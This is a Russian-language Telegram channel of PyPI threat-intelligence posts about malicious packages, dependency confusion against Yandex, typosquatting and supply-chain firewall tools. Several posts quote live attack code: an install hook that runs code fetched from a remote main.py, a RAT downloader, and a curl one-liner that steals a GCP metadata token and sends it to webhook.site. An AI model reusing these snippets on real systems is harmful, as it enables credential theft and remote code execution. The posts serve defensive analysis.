disasm.me channel
1.76K subscribers
294 photos
3 videos
10 files
182 links
Канал вирусного аналитика, занимающегося безопасностью опенсорса и технологиями искусственного интеллекта. Плюс заметки по аспирантуре :)

Автор: @hexadec1mal

В чате сидит Guard-бот, будьте внимательнее.
Download Telegram
Forwarded from ESCalator
Страсти опенсорса: мафия, стилеры и багхантинг проектов «Яндекса» 🐱

За последние две недели в Python Package Index произошло много занятного. Мы вооружились вердиктами модели машинного обучения сервиса PT PyAnalysis, дабы рассказать вам об интересных сработках.

Багхантеры против «Яндекса»

Еще в январе 2023 года человек с ником yandex.bughunter зарегистрировал пять пакетов с разными вариантами текста:


import subprocess
import os
import requests

#I am bughunter
#[email protected]
print('it works!')
requests.get("https://76c4[REDACTED]f5d3.m.pipedream.net/example-package-taxi-etl")



import requests
#I am bughunter
#[email protected]
print('If you read this message and you are from Yandex write me [email protected]')
requests.get("https://76c4[REDACTED]f5d3.m.pipedream.net/dmp_suite")


Описание пакетов одинаковое: I created this package for security testing. I am bughunter from Yandex.

Но странно, что в метаданных PyPI-проекта автор представляется как Thomas Anderson <[email protected]>, то есть использует личную почту, а не корпоративные @team.yandex.ru / @yandex-team.ru

Не говоря уже о том, что Thomas Anderson — это тот самый мистер Андерсон из «Матрицы»...

Этот человек имитирует supply-chain-атаку, регистрируя в глобальном репозитории пакет с таким же именем, как у пакета, существующего во внутреннем репозитории определенной группы разработчиков (в данном случае — команды «Яндекса»).

Установка пакета из глобального репозитория произойдет, если:

🔤 Пакетный менеджер (далее — ПМ) не умеет в расстановку приоритетов скачивания из списка репозиториев. Насчет того, что pip выбирает лучший по версии пакет из всех репозиториев, указанных в его конфиге, уже давно ведутся жаркие дискуссии. В Poetry такой проблемы нет.

🔤 ПМ не настроен на использование внутреннего репозитория. Так может быть на свежем устройстве нового коллеги, который еще не прошел гайд для новичков.

🔤 В конфиге ПМ настроено приоритетное использование внутреннего репозитория вместо глобального, но внутренний по каким-то причинам сейчас недоступен.

🔤 В конфиге ПМ настроено приоритетное использование глобального репозитория вместо внутреннего («Если пакета нет в глобальном репозитории, значит, пакет наш и его нужно установить из внутреннего»).

Конфликт очередности использования репозиториев уже был в декабре 2022 года в известной атаке на ночные релизы torch. Злоумышленник зарегистрировал в глобальном репозитории PyPI библиотеку torchtriton, которая обычно подтягивалась из настроенного внутреннего репозитория. При этом установка пакета происходила через pip: вот и весь секрет киллчейна.

😰 В августе 2024 года мы заметили, что авторство одного из пакетов пользователя yandex.bughunter забрал себе yandex-bot — аккаунт, который владеет 1279 пакетами с интересными названиями, такими как yandex-soc-services-sdk, yandex-cloud-ml-sdk-preview, yandex-infradev-tool...

Во всех этих пакетах автором указан Yandex <[email protected]>. Описание гласит: A package to prevent Dependency Confusion attacks against Yandex, а сами пакеты вызывают исключение при попытке их поставить:


class InstallCommand(install):
def run(self):
raise RuntimeError("You are trying to install a stub package yandex-cloud-ml-sdk-preview. Maybe you are using the wrong pypi? See https://nda.ya.ru/t/GljG[REDACTED]zAGGz for details")


У нас нет подробностей того, как yandex.bughunter узнал список пакетов внутренней кухни «Яндекса», но, похоже, что компания заметила это и начала договариваться с багхантером. Или потихоньку отжимает пакеты через администрацию PyPI 🐱

To be continued...

#ti #pypi #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14😁5🤯3😱1👾1
Forwarded from ESCalator
Страсти опенсорса: часть вторая

Инфостилеры 🧋

Ими уже никого не удивишь, ведь это популярный класс вредоносного программного обеспечения, часто упоминаемый в новостях. Большинство троянов крадут наши данные, но делают это без уважения. И тут разработчик GeorgeTheMightyDev подумал: «А что, если...»

И выпустил пакет pojang-resorter, который благодарит вас за то, что вы установили его приложение, ведь вы даете ему возможность сделать скриншот и отправить его на сервер Discord (скриншот 1). В следующих версиях нагрузка будет упакована в PyInstaller, а код — обфусцирован, однако мы оценили изначальное благородство автора

1001 мимикрия под requests 😵‍💫

Злоумышленники не перестают использовать кодовую базу популярной библиотеки requests для сокрытия своей вредоносной нагрузки. За эти две недели такое произошло в рамках пакетов flophttp и invokehttp. Так как в обоих случаях автор подписал себя как Kiany Reeves, у нас нет сомнений, что это одна кампания 🐶

Вредоносная нагрузка расположена в __init__.py и представляет собой обфусцированный однострочник (скриншот 2). Учитывая, что автор задает для библиотек и методов такие алиасы, как borrow, blacktrone, pickachu, takihao (скриншот 3), становится понятно, что наш злоумышленник — человек культуры.

Сезон отстуков 🏖

В последнее время наблюдается особая популярность простеньких троянов-логгеров, единственная задача которых состоит в том, чтобы на этапе установки или импорта пакета отстучаться злоумышленнику, опционально утащив с собой информацию о системе, иногда еще и переменные окружения.

На скриншотах 4–7 представлены различные варианты реализации такого функционала: это пакеты artifact-lab-3-package-77d0c154, artifact-lab-3-package-89883da3, tiktok-session-lite-sdk.

———

А вы знали про фичу pip с отсутствием приоритетов репозиториев? Надеемся, что вам было интересно 👍

#ti #stealer #pypi #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8🤯2
Forwarded from ESCalator
Снова ловим багхантеров 💀

В одном из предыдущих постов мы писали про следы багбаунти-деятельности по отношению к «Яндексу». История повторилась, но уже с нами.

Сработал алерт на активность, связанную с новыми вредоносными пакетами innostage и innostage_group. История нетипичная: почта у разработчика — [email protected] (о, русскоговорящий человек!), а нагрузка скачивается с доменов files.inostage.ru (мимикрия под innostage-group.ru) и files.pythonhosted.ru (мимикрия под files.pythonhosted.org).

Человеку — большое уважение: озаботился покупкой домена, еще и перед этим, вероятно, ознакомился с атаками, проводимыми ранее... Отправляем репорт в Python Package Index, уведомляем коллег из Innostage.

🐈 Подозреваем, автор читал мартовскую статью Checkmarx, где злоумышленник «протроянил» пакет colorama. Был сделан pull request, который, помимо всего прочего, в ссылках на дистрибутивы легитимный домен files.pythonhosted.org поменял на управляемый атакующим files.pypihosted.org.

Хоть в описании проекта и упоминается, что это багбаунти, в качестве нагрузки человек использовал не отстук (как это делал багхантер из истории с «Яндексом»), а реверс-шеллы (на скриншотах). Не совсем исследовательский подход, к сожалению.

Далее к пакетам innostage и innostage_group прибавились cyberart, ... posi, maxpatrol и ptsecurity 🤨 Занятно. Нагрузка все та же — реверс-шеллы.

Домен inostage.ru уже ранее светился на Standoff. Получается, снова обнаружили деятельность багхантеров, в этот раз еще и помешав исследованию 🤬. Что-ж...

———
PT PyAnalysis. Профессионально отслеживаем багхантеров с 2024 года.

#ti #pypi #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7😁4🤯2
Forwarded from ESCalator
Первые шаги на хакерском поприще 🐱

Опенсорс — интересная среда для наблюдений за развитием проектов. Занятно изучать реализацию первых версий популярных библиотек наподобие boto3, scikit-learn, requests (концепт-план версии 0.2.0 — вполне креативный).

Интересно наблюдать и за людьми, которые вместо использования популярных стилеров и RAT пробуют себя в написании собственных решений.

1️⃣ Пользователь SpaceyLad создал цепочку из двух пакетов:

🟢not-so-evil-package-spaceylad, код которого представлен на скриншотах 1 (оригинальная версия) и 2 (после автоматической деобфускации). Этот пакет отвечает за хранение строки с командой для скачивания нагрузки.

🟢not-evil-calculator-spaceylad, который непосредственно запустит команду, — скриншот 3.

В первом пакете во всех версиях, кроме 0.0.5, скачивается безобидный файл с расширением .css. Если вам не повезло, со страницы автора на PythonAnywhere скачан файл evil_python.exe, представляющий собой... calc.exe из пакета стандартных программ Windows. Но и в этом случае нагрузка отработает при наличии пользователя IXY.

Из занятного — в релизах проектов оставлены папки .idea (папка проекта в IDE PyCharm) и .venv (папка с виртуальным окружением Python), которые, помимо скудной информации об авторе пакета, позволили узнать нам оригинальное название проекта — pip_evil_package. Также благодаря нехитрой цепочке «гугления» выясняется, что разработчик является студентом факультета кибербезопасности одного из университетов Норвегии 🐈

2️⃣ В июле-августе 2024 года существовал пакет recovery, задача которого согласно описанию была простой: Checks recovery phone numbers against login page on yahoo. Имя автора, ExodusChecker, вызывает смутные подозрения, но давайте не будем торопиться.

Первые версии пакета выглядят безобидными (скриншот 4 — для версий 0.0.1–0.0.3), затем появляются первые подсказки по вредоносной функциональности (скриншот 5 — версии 0.0.4–0.0.9). Начиная с версии 0.1.0 появляется логика замены файла ресурсов для криптокошелька Exodus (скриншот 6), а с версии 0.1.4 злоумышленник учится прикладывать бинарные файлы в релиз.

Автор на протяжении 19 релизов наращивает функциональность, постепенно превращая proof of concept с абсолютными путями (привет, юзер с именем hammy, тестирующий на Exodus 24.31.4) в универсальный работающий код. Далее велись лишь QoL-работы. Конечный результат вы можете видеть на скриншоте 7, он отражает тридцатый по счeту релиз — 0.3.1. Скрипт suckme.bat, сохраняемый в папку автозагрузки, — это отдельный анекдот.

Сам подменяемый app.asar использует технику, ранее описанную JFrog в Impala Stealer, по отношению к хранилищу пакетов .NET NuGet: функция unlock из app/wallet/index.js получает функциональность отправки сид-фразы злоумышленнику (скриншоты 8, 9).

Простой способ защититься от такого рода напастей — использовать изолированное от пользовательских файлов окружение, например Docker-контейнеры. Это может не спасти конечных пользователей, но разработчики будут в определенной степени защищены от типовых атак. Кроме того, можно посмотреть в сторону PyAnalysis 😍

Желаем в наступающем новом году оставаться в безопасности от проделок злоумышленников 🎂

#ti #pypi #pyanalysis #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥5😁2👾1
Forwarded from ESCalator
Злоумышленник опубликовал вредоносные пакеты deepseeek и deepseekai в Python Package Index 🐳

Команда Supply Chain Security департамента Threat Intelligence PT ESC обнаружила вредоносную кампанию на фоне популярной темы последних дней. Злоумышленник, создавший учетную запись bvk в июне 2023 года и до этого не проявлявший активность, 29 января 2025 года зарегистрировал вредоносные пакеты deepseeek и deepseekai.

Найденные пакеты после установки крадут переменные окружения при вызове консольных команд deepseeek или deepseekai (скриншот 2). Переменные окружения обычно ценны тем, что в них могут содержаться чувствительные данные, используемые в рамках функционирования приложения, например данные доступа к объектному хранилищу S3 или другим ресурсам инфраструктуры.

Примечательно, что код создан с использованием ИИ-ассистента, на что указывают характерные комментарии (скриншот 3).

Мы оперативно уведомили администраторов репозитория, пакеты были отправлены в карантин и вскоре удалены. Несмотря на быструю реакцию, их успели скачать 36 раз пакетным менеджером pip и средством зеркалирования bandersnatch, еще 186 раз — при помощи браузера, requests и других средств.

Сохраняйте бдительность: злоумышленники постоянно ищут такие удачные названия для осуществления атак в опенсорсе 🐱.

IoCs:

пакет PyPI: deepseeek
пакет PyPI: deepseekai
c2: eoyyiyqubj7mquj.m.pipedream.net


#ti #pypi #pyanalysis #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥5🤯3
Журналисты надругались над питонистом

Мне прислали новость о том, что миллионы компьютеров оказались под угрозой взлома из-за критической уязвимости, связанной с Python.

Сама новость прошла через следующую цепочку: ITc новости -> 3D News с ссылкой на комментарий эксперта "Газинформсервис".

3D News, а за ним и ITc сообщают:
Злоумышленники добавили в репозиторий вредоносный пакет с тем же именем, который даёт им возможность удалённого выполнения произвольного кода на уязвимых системах, что может привести к компрометации данных, краже информации и полному контролю над заражённым ПК.


Пакет msgspec-python313-pre является опциональной зависимостью dev-сборок для CPython 3.13 в популярном пакете python-json-logger (рис. 1). Поэтому неудивительно, что когда msgspec-python313-pre удалили 30 декабря 2024, отсутствие зависимости заметили только 4 марта 2025.

Согласно репорту автора находки, он заметил отсутствие зависимости и зарегистрировал заглушку 4 марта. В качестве решения проблемы он предлагает выпуск новой версии пакета python-json-logger с доработкой или передачу им прав на пакет msgspec-python313-pre правильным людям.

Проверил msgspec-python313-pre — было выпущено две версии пакета (рис. 2 и рис. 3), обе без вредоносной активности. Ресёрчер поступил верно перед публикацией репорта, чтобы никто с плохим умыслом не воспользовался ситуацией.

Но стоп, а где же злоумышленники, которые создали вредоносный пакет по мнению русскоязычных источников... А их и нет, фраза "This flaw could allow attackers to execute arbitrary code on systems where the library is installed." была видимо неправильно интерпретирована, из-за чего исследователь, зарегистрировавший заглушку, превратился в злоумышленника 💀

Грустно за человека...

#ti #pypi
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🌚15😁4🤯3🔥1🤬1
Oh no...

Сегодня пользователь simplestway7 зарегистрировал библиотеку numpy-rs.

Кажется, началось... Благо автор не является известным разработчиком в отношении экосистемы numpy, поэтому это либо проба пера (сейчас библиотека пустая), либо занятие названия для дальнейшей dependency confusion-атаки.

Пояснение: сейчас тренд переписывать питоновские библиотеки в виде биндингов на раст-реализацию

UPD: пока писал пост, вышла новая версия, её функционал приведён на втором скрине. heh.jpg

#memes #ti #pypi
@disasm_me_ch
👾8😁4🌚2
Саурон, Дейтинг и Баобаб в опенсорсе 👀

Один из способов реализовать dependency confusion атаку — повторно использовать имя внутреннего инструмента.

Шаги просты как три копейки:
1. Злоумышленник или багхантер каким-либо образом узнает или догадывается о названиях внутренних пакетов.
2. Он размещает в глобальном репозитории свою версию пакета с нужной функциональностью (в лучшем случае — просто выводящую текст во время установки, в худшем — стилер или RAT).
3. Разработчик, не успевший настроить принудительное использование пакетов из приватного репозитория организации, пытается установить установить зависимости внутреннего проекта.
4. В лучшем случае докер-контейнер на тачке сотрудника, в худшем — хост сотрудника или CI/CD установил зависимость из глобального репозитория — и нагрузка отработала в install-time.

Яндекс решили эту проблему путем резервирования названий внутренних пакетов с помощью заглушек. Это жизнеспособная мера: пусть PyPI и поддерживает блокировку названия пакетов, но выглядит надежнее делать это самостоятельно.

Я уже рассказывал, что проекты Яндекса становились целью багхантеров в опенсорсе, так что необходимость таких действий обоснована 🤪

Из-за необходимости публично резервировать имена появляется другая проблема, пусть и существенно менее опасная — внешний наблюдатель знает названия пакетов, а также может наблюдать за регистрацией новых. Так как часть названий говорит сама за себя, можно строить догадки о внутренней кухне 🐱🐱

Список можно посмотреть в профиле Yandex Security Team на PyPI. Я в свою очередь перечислю те, что зацепили мой взор:

🟢rm
🟢values
🟢auto-tqdm
🟢baobab
🟢star
🟢dating
🟢and
🟢ansible-golovan-alert
🟢blackboxer
🟢bummer
🟢feedback
🟢browser
🟢yandex-annushka
🟢oboto3
🟢dominator.yandex
🟢eda-galera-slave-sync
🟢external_devil
🟢instagram-scraper
🟢sosoc и Flask-Sosoc
🟢yandex-tas-search
🟢yandex-edadeal-tbank-client
🟢nirvana-api-wrapper
🟢yandex-sauron
🟢nyan-ci и nyan-core

Судя по названиям пакетов, разработка в компании идёт прямо душевная ☕️ Ну и стоит напомнить, что Яндекс поступает правильно — лучше подарить смех тому, кто увидит эти пакеты, чем стать жертвой кибератаки.

#memes #pypi
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8😁4
🐈⬆️

Нагрузка вплоть до января 2023 — это сбор информации о системе и отправка этого добра на сервер на этапе установки пакета (рис. 1). По нынешним стандартам он багхантил не совсем этично. Также напоминаю, что с сентября 2024 PyPI прямо запрещает размещать пакеты для багхантинга.

Затем исследователь перешел на более спокойный вариант, просто выводя строку "install". Далее он избавится и от print, оставив только упоминание кампании (рис. 2). Вероятно этого достаточно для подтверждения уязвимости с учётом того, что он всегда явно знает, какой пакет атакует. Да и риск того, что пакет преждевременно снесут, становится ниже.

В последнем проекте, libmambapy, выпущенном в мае 2024, он реализовал POC на JavaScript, запускаемый с помощью execjs (рис. 3). К сожалению, хоть библиотека и указана в install_requires, но импортируется она слишком рано, из-за чего setup.py упадет с ModuleNotFoundError. Но в любом случае уход от обнаружения путём перехода на другой язык — очень хороший шаг 😼 В целом ради этого пакета и начинал весь пост)

Stay multi-lingual,
#ti #pypi
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👾3🔥1
Немного Python-рутины. Больше нагрузок хороших и разных.

Сегодня странный человек решил запостить 6 пакетов подряд под единственной учёткой.

Имя у пакетов вполне хахабельное — это производные от veriftest1asdla (рис. 1). Внутри содержится следующая нагрузка:
os.system("access_token=$(curl -H 'Metadata-Flavor: Google' 'https://metadata.google.internal/computeMetadata/v1/instance/service-accounts/[email protected]/token'); curl -X POST -d \"$access_token\" https://webhook.site/REDACTED")


Этот payload я вижу в последнее время всё чаще и чаще. Тоже является примером использования других языков для избежания обнаружения, но у злоумышленника не прокнуло.

Если интересно порассуждать, что делает этот код, то welcome в комментарии)

#ti #pypi
@disasm_me_ch
🔥3👾2🤯1
Insecure Firewall 😖

Со мной несколько раз поделились проектом Supply-Chain Firewall от команды Datadog. Делюсь своими мыслями и я :)

Проект в своей ридми заявляет следующее (ниже перевод):

Supply-Chain Firewall — это инструмент командной строки, предназначенный для предотвращения установки вредоносных пакетов из PyPI и npm. В первую очередь он рассчитан на разработчиков, чтобы защитить их рабочие станции от компрометации в результате атак на цепочку поставок.

Основная цель Supply-Chain Firewall — полностью (на 100 %) блокировать установку всех известных вредоносных пакетов, охватываемых его источниками данных.


В качестве источника они используют публичный датасет Datadog и фиды OSV.dev. Принцип заключается в том, что вы будете оборачивать команды установки пакетов с помощью pip/poetry/npm — в их тулзу:
scfw run pip install hello_world
scfw run poetry install hello_world
scfw run npm install hello_world

В свою очередь scfw:
1. Проверяет версию пакетного менеджера (npm >= 7.0.0, pip >= 22.2, poetry >= 1.7.0).
2. Добавляет к оригинальной команде параметры, отвечающие за прогон без установки — режим dry-run (место в логике для npm, pip, poetry).
3. Проверяет список пакетов-кандидатов на установку в фидах.

Что делает прогон без установки?

Вроде бы из названия понятно, что пакетный менеджер как-то соберет зависимости, но не установит их. Но что будет с пакетами, содержащими preinstall- и postinstall-логику (там обычно содержатся проверки окружения, доустановка необходимых зависимостей, которые невозможно указать в манифесте, компиляция сорсов, etc.)...

У dry-run гипотетически возможны два варианта поведения:

1. Пытается установить все пакеты во временное виртуальное окружение, запуская все установочные скрипты. Для SCFW это плохо, так как подавляющий пласт троянов исполняются как раз в install-time.

2. Игнорирует/ругается на/выкидывает исключение на скрипты. Это более безопасный, но страдающий в плане полноты зависимостей вариант.

Давайте поставим yandex-baobab-api — этот пакет вызывает исключение при попытке его установить. Итог:

(testvenv) $ scfw run pip install yandex-baobab-api
Collecting yandex-baobab-api
Using cached yandex-baobab-api-66.0.3.tar.gz (1.1 kB)
Preparing metadata (setup.py) ... done
Building wheels for collected packages: yandex-baobab-api
Building wheel for yandex-baobab-api (setup.py) ... error
error: subprocess-exited-with-error
...
File "/tmp/pip-install-.../yandex-baobab-api_.../setup.py", line 7, in run
raise RuntimeError("You are trying to install a stub package yandex-baobab-api. Maybe you are using the wrong pypi?")
RuntimeError: You are trying to install a stub package yandex-baobab-api. Maybe you are using the wrong pypi?
[end of output]

note: This error originates from a subprocess, and is likely not a problem with pip.
ERROR: Failed building wheel for yandex-baobab-api
Running setup.py clean for yandex-baobab-api
Failed to build yandex-baobab-api
ERROR: Failed to build installable wheels for some pyproject.toml based projects (yandex-baobab-api)


Получается, что dry-run в случае с Python-пакетами запускает код из setup.py, вместе со всей вредоносной install-time-активностью 💀

SCFW задумывается как утилита для пользователей, которые хотят убедиться в безопасности выполняемой pip/poetry/npm-команды и запускают команду на своем компьютере без обязательной изоляции окружения. К сожалению, с данной задачей она не справится. Лучше взять osv-scanner, обернуть в контейнер и сканировать зависимости с его помощью.

Хочу напомнить важное правило: do your own research. Будьте любознательны, даже если разработчик решения убеждает, что всё под контролем 😊

#pypi #npm #ti #ресерч
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8😁3🤬1
pipask — finally, a secure firewall? 😎

Недавно я писал о проекте Supply-Chain Firewall, задача которого блокировать установку вредоносных пакетов. К сожалению, в текущей реализации оказался не очень-то и безопасным.

Да, он проверяет наличие пакетов в базах Datadog и OSV.dev, но:
— В случае с pip/poetry делает это по факту установки, а значит вся вредоносная активность отработает. 🐈
— Так как используются базы фидов, такой firewall неэффективен против не занесенных туда угроз.

Нашел упоминание другого проекта, который выглядит по функционалу более мощно, но работает только с пакетным менеджером pip — pipask. Он заявляется как drop-in замена pip, которая поддерживает только команды install/download/list. pipask имеет целый арсенал проверок:
Отозван (yanked) ли пакет. В PyPI можно мягко скрыть релиз, если в нем, например, найдены уязвимости, что не позволит его скачать без прямого указания версии.
— Как давно были созданы релиз, который является целью установки, и сам проект в принципе.
— Есть ли известные уязвимости в базе OSV.dev.
— Какова репутация связанного с проектом GitHub/GitLab-репозитория.
— Какой статус проекта указал разработчик (Planning, Pre-Alpha, Alpha, Beta, Inactive будут причиной для тревоги, Production/Stable и Mature будут ок);
— Сколько скачиваний пакета было за последний месяц по данным PyPI Stats (до 100 будут красным знаком, до 5000 будут причиной тревоги);
— Какая лицензия проекта.

Для транзитивных зависимостей ведётся проверка только на известные уязвимости в базе OSV, без прочих репутационных. 😎

Если pipask найдет проблемы с пакетом, он их подсветит и спросит решение пользователя, стоит ли его устанавливать:
$ pipask install yandex-baobab-api
✔️ Resolving dependencies to install 0:00:00
! Checking repository popularity 0:00:00
✖️ Checking package download stats 0:00:00
! Checking package age 0:00:00
✔️ Checking known vulnerabilities 0:00:00
✔️ Checking release metadata 0:00:00
! Checking package license 0:00:00

Package check results:
[yandex-baobab-api==66.0.3]
! No repository URL found
✖️ Only 8 downloads from PyPI in the last month
! The release is older than a year: 472 days old
✔️ No known vulnerabilities found
✔️ No development status classifiers
! No license found in PyPI metadata - you may need to check manually

? Would you like to continue installing package(s)? [y/n]:


Кстати, в pip против install-time троянов есть режим --only-binary :all: — он не позволит установиться пакету, если у него есть только source distribution, требующий предварительной компиляции. Правда это может поломать пайплайны 🐈. pipask и scfw, тоже могут работать в этом режиме, так как пробрасывают параметры в pip.

———

Данное решение сейчас не поиспользуешь на проде, так как pipask пока не поддерживает возможность игнорировать предупреждения. Но как замена pip-у в рамках ручного скачивания пакетов — огонь. Для того же jupyter labs будет замечательно 😊

Блин, а я попробую использовать pipask у себя на тачке, выглядит годно!

#pypi #supplychain #ti #ресерч
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
1104😁2
Немного Python-рутины. Slavic vibes
Предыдущий пост цикла.

Дано: автор на PyPI с ником protocol.cpp, автор пакета justanything.

В ранней версии код был POC-ом, может даже показаться, что это багбаунти-/пентест-активность (рис.1). Обратите внимание на русскоязычный комментарий 💃

В версии 0.1.3 комментарий был убран, а нагрузка изменилась:
class CustomInstallCommand(install):
def run(self):
try:
response = requests.get("https://[REDACTED1]/main.py")
response.raise_for_status()
exec(response.text)
except requests.RequestException as e:
print(f"Failed to fetch or execute script: {e}")
super().run()


Следующий стейдж выглядит так:
def huinya():
try:
ssilka = 'https://[REDACTED2]/1.txt'
ratka = "1.txt"
huizhopaseks = requests.get(ssilka)
with open(ratka,"wb") as file: file.write(huizhopaseks.content)
os.startfile(ratka)
except Exception:
pass


user = getpass.getuser()
hidden_path = Path.home() / ".dildo"
with open(hidden_path, "w") as f:
f.write(f"Infected! User: {user}\n")

huinya()


Данный код хорошо говорит сам за себя — будет скачан и запущен ратник (RAT, Remote Access Tool, троян с функционалом передачи управления над устройством жертвы злоумышленнику). Стейдж ратника получить не удалось, увы 🚶‍♀️

В последнее время среди троянов всё реже можно увидеть код, написанный человеческими руками. Хорошо, что в 2025 всё ещё существует лучик надежды 🐈

#ti #pypi
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
😁13521
Обучаемся секьюрной разработке 😼

Хорошие новости: меня позвали рассказать интересности в рамках позитивного практикума AppSec для инженеров.

Практикум будет полезен DevOps-инженерам и программистам, которые заинтересованы в настройке процессов безопасной разработки. Во время подготовки материала я прошелся по курсу и нахожу его полезным для людей, кто очень хочет настроить адекватный поиск уязвимостей с использованием актуальных практик так, чтобы устранение проблем было не таким болезненным 👀

В одном из блоков третьей недели я покрою вопросы, котором часто не уделяют внимание при внедрении security-инструментов: кто поставляет информацию об уязвимых компонентах, почему эти люди решили помогать мировому комьюнити в данном нелегком пути и каковы качество и полнота этих фидов.

Программа длится 6 недель и стартует уже 30 июня ☕️

#курсы #appsec #supplychain #pypi #npm
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
109
Что такое инструменты для CTF? Это обман, чтобы собрать классы

Сверхразум kibanaly в воскресенье опубликовал пакет hashidf, который выглядит как вполне себе нормальное начало тулинга для соревнований по кибербезопасности: тут есть rot13, операции над бейсами, хэширование.

Понятно, что данный минимальный функционал можно набросать за 5-10 минут и самим, но библиотека, которая потенциально будет обрастать всё большим функционалом, имеет право на существование.

Однако в пакете есть дополнительный функционал: если запустить его как основную точку входа (python -m hashidf), а не просто импортировать, то отработает дополнительная логика:

🟢Проверка, что в программа не находится под отладчиком.
🟢Распаковка нагрузки: парсит текстовый файл из своего проекта на предмет строк с началом SEGMENT_, затем декодирует их base64, склеивает и передает на декомпрессию в zlib.
🟢Сохранение результата в %TEMP%/<случайные 12 символов>.exe, сокрытие файла через hidden-атрибут (подробнее) и запуск. Это типичные действия троянов под виндой.

В версии 0.1.0 закодированной нагрузкой является инструмент putty (VT), который запустится в безоконном режиме без параметров. В 0.1.2 белиберда)

Недолго музыка играла: пакет отправили в карантин через 12 часов после появления первого релиза 🥰

Схожих проектов никто в PyPI в последние дни не публиковал, так что будем следить за развитием событий 🐱

#ti #pypi
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🌚5🤔1👾1111
Forwarded from ESCalator
Страсти вокруг PyPI: 🪰🐘?

На прошлой неделе CNews выпустили новость: "Россиян погнали из сообщества Python. Пока только избранных, но критерии отбора до предела странные". В ней выясняется, что Python Package Index (PyPI), крупнейшее хранилище пакетов Python, запретила регистрацию новых пользователей с указанием почты на домене inbox.ru.

В официальном заявлении сказано, что с почтовых ящиков inbox.ru пришла волна спама – пользователи с такой почтой создали 250 профилей и добавили к ним свыше полутора тысяч проектов, которые якобы «обманывают пользователей и представляют угрозу безопасности» (leading to end-user confusion, abuse of resources, and potential security issues).


Блокировка россиян в различных комьюнити — животрепещущая тема. Её процитировали и другие издания.

@banksta
:
Россиян изгоняют из сообщества программистов Python. Им запретили пользоваться репозиторием PyPI с пакетами для Python. Ограничения коснулись только тех, кто создает новый аккаунт с привязкой почты на inboxru и тех, кто хочет добавить такую почту в уже существующий профиль. Домен принадлежит Mailru.


@imaxairu:
Россиянам запретили пользоваться репозиторием PyPI с пакетами для Python

Ограничения коснулись только тех, кто создает новый аккаунт с привязкой почты на inbox .ru и тех, кто хочет добавить такую почту в уже существующий профиль

Домен принадлежит Mail .ru. На другие домены компании лимиты пока не распространяются


Команда Supply Chain Security активно сотрудничает с PyPI в области обнаружения троянов. Мы решили провалидировать, были ли действия администрации репозитория обоснованными.

#ti #pypi #pyanalysis #scs
@ptescalator
Пост 1/4
Продолжение⬇️
Please open Telegram to view this post
VIEW IN TELEGRAM
3
Forwarded from ESCalator
Даём оценку официальным заявлениям

CNews ссылаются на статью в блоге PyPI, выпущенную 15 июля 2025. В ней говорится, что, руководствуясь практикой блокировки мусорных почтовых доменов, они закрывают регистрацию новых пользователей в Python Package Index с использованием почты на домене inbox.ru.

Схожее решение администрация PyPI выносила и год назад, 16 июня 2024, в отношении доменов outlook.com и hotmail.com (принадлежат Microsoft) — они стали излюбленным решением для злоумышленников из-за простоты массовой регистрации доменов.

Следует уточнить, что для скачивания пакетов не требуется регистрация. Учётная запись нужна для публикации своих проектов.

PyPI приводит статистику:
9 июня: появилась первая учётная запись кампании.
11 июня: за 3 часа было создано 46 учётных записей.
24 июня: за 4 часа было создано 207 учётных записей.
С 26 июня по 7 июля ими было создано 1525 проектов:
2025-06-26 9
2025-06-27 295
2025-06-28 39
2025-06-29 119
2025-06-30 740
2025-07-01 249
2025-07-02 46
2025-07-10 16
2025-07-11 12


По нашему мнению не существует легитимного сценария, в котором одному пользователю потребуется столько учёток. Создавать большое количество проектов имеет смысл в борьбе с неймсквоттингом (на примере Яндекса), но для этого достаточно и одной учётки.

Обращаем внимание на последний абзац поста на PyPI (ниже перевод):
Надеемся, что мы сможем отменить это решение в будущем, когда будем более уверены в способности этого провайдера электронной почты предотвращать злоупотребления. Если вы работаете в этом провайдере, пожалуйста, напишите нам по адресу [email protected], чтобы обсудить это решение.


Давайте разберемся с кампанией.

#ti #pypi #pyanalysis #scs
@ptescalator
Пост 2/4
Продолжение⬇️
Please open Telegram to view this post
VIEW IN TELEGRAM
3
Forwarded from ESCalator
Характер кампании

Изучим проекты, выпустившие свой первый релиз в рамках действия кампании 26 июня — 7 июля, захватив слева и справа дополнительное время для наглядности: с 12 июня по 15 июля.

Разработчик, публикуя проект, может по желанию оставить email для обратной связи. В этот промежуток было опубликовано всего 4 пакета с явным указанием почты на @inbox.ru, все легитимные.

График 1 (см. ниже) демонстрирует, принял ли решение разработчик указать email в первом релизе своего проекта.
Наблюдаем:
1. Снижение общей активности разработчиков в выходные (видны двухдневные ямы, чередующиеся с пятидневными буднями).
2. Всплески пакетов без email, выпущенные 27 июня (378), 30 июня (662), 1 июля (509).

Второе наблюдение соотносится со статистикой PyPI: 27 июня выпущено 295 пакетов на @inbox.ru, 30 июня — 740, 1 июля — 249, с поправкой на часовые пояса.

В рамках периода активности есть 1403 проекта без email с одинаковым описанием: "Minimal package created automatically" — и версией 0.0.1 (график 2). Они совпадают с периодом активности кампании, которой были недовольны администраторы PyPI.

Названия пакетов из этой пачки — явный тайпсквоттинг (атака на то, что разработчик опечатается в названии пакета при установке или поведется на хорошее название — и поставит себе троян):
🟢avoid 🐱
🟢common-io
🟢win32crypt
🟢win32com
🟢pywintypes
🟢jsap
